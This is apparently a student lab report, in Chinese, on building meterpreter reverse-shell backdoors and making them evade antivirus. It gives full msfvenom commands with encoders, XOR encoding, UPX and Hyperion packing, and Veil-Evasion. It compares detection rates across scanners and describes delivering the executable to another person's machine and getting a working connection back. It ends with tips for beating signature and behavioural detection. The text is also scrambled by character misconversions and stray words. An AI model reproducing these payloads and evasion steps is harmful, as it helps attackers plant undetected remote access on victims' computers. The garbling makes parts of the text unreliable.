使用msf命令生成后门程序:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exe
java
-e
选择编码器,-b
是payload中须要去除的字符,该命令中为了使'\x00'不出如今shellcode中,由于shellcode以'\x00'为结束符能够看出来查出率有一半多,免杀效果不好python
尝试利用msf的屡次编码参数-i
来进行屡次编码,提升免杀效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exe
shell
能够发现甚至扫描几乎不变,甚至反而变多了,效果并很差。编程
尝试生成别的类型的文件进行免杀操做windows
生成jar类型的后门:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar
安全
扫描结果以下:网络
在virscan中结果明显比exe文件减小不少,可是在VirusTotal中差很少多线程
Veil-Evasion的安装less
apt-get install evil-evation
利用Veil生成C语言免杀后门:tcp
use evasion
进入evil-evasion,命令list
能够查看能编写哪些种类的后门use 7
(7为list中的对应序号)veil_CEncode.exe
能够看出免杀效果没有明显提升,对比去年学长学姐的博客,效果明显变差,推测应该是病毒库更新的缘由。
本机实验
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c
进行了C语言的异或编码,试图让他逃脱杀软的扫描,验证编码是否正确:
效果比上面的工具彷佛好一点,但没有明显改善,简单的异或编码已经骗不过杀软了,下回尝试加密,若是成功再更新。
另外的真机回连
IP改变,从新生成shellcode:
生成可执行文件,发送给对方执行并回连,exploit等待:
对方执行文件,回连成功:
执行命令dir
确认链接成功:
腾讯安全管家扫描没有扫出
对上面第一个半手工shellcode进行UPX加壳,减小文件体积 :
对半手工生成的shellcode加upx壳
扫描结果:
查出来的杀软数目反而增多,应该是upx的特征码被录入了病毒库,下面再加一层加密壳验证一下本身的见解
利用wine模拟Windows环境,运行hyperion.exe进行加壳
进行扫描:
被扫描出的结果更多,能够验证上面的想法,著名加壳工具只会增长被发现几率,建议本身加花指令或者改壳。
为了可以嵌入汇编语言,选择了C语言对shellcode进行处理,加密解密没有现成的库简直要了命= =,因而贼心不死仍是想找个工具,因而安装了据说很好用的pathon-evasion,可是不得不说安装和evil-evasion同样麻烦。
通过一系列复杂的异或与多线程等操做以后,生成了exe送去扫描:
能够看见结果稍有好转,可是没有理想中那么好,查看扫描结果发现,pathon自己特征码已经被杀软锁定了,甚至不须要扫描文件自己,直接能够判定是恶意代码,大概是曾经太好用了,可见不少杀毒软件更新仍是可靠而且快的。
可是仍是有优势的,以前生成的全部恶意软件没有可以逃过火绒的扫描,可是这款生成的软件成功没有被发现(*_phan.exe文件都没有被扫出)
总的来讲,国内主流杀软病毒库,就本次扫描结果来讲360>火绒>腾讯,但我的使用感火绒>360=腾讯,因此最后仍是选择了火绒,但愿它病毒库能更新的快一点吧。
Veil-Evasion安装失败
apt-get upgrade
操做,进行后成功率高了不少ping不通别人的真机
回连不成功
本次试验扫描出来最少的样品实际上是veil生成的一个python的回连脚本,可是因为我没有使用py2exe,并不能肯定生成exe可执行文件后是否不会被扫描,可是根据msf生成的Java的扫描结果,彷佛都比c语言要具备必定的优点。
简陋的半手动shellcode生成可执行文件依然比过于大众的免杀工具好用,例如:加upx的壳与veil的C语言后门,以及msf生成的源码。
能够大胆猜想一下,若是要作到真正的免杀,半手动的py/jar进行处理+部分小众工具会有奇效,要是能本身生成shellcode或许更好,总而言之就是要改变特征码与哈希值。
若是要避免动态监测,绑定正常程序或者以正常程序为模板或者生成恶意dll调用,会比单独的恶意软件好不少。
虽然火绒病毒库不够新,依然不能阻止我爱他的使用感。
不少想法想验证,可是我来不及了,时间太少了,枯了。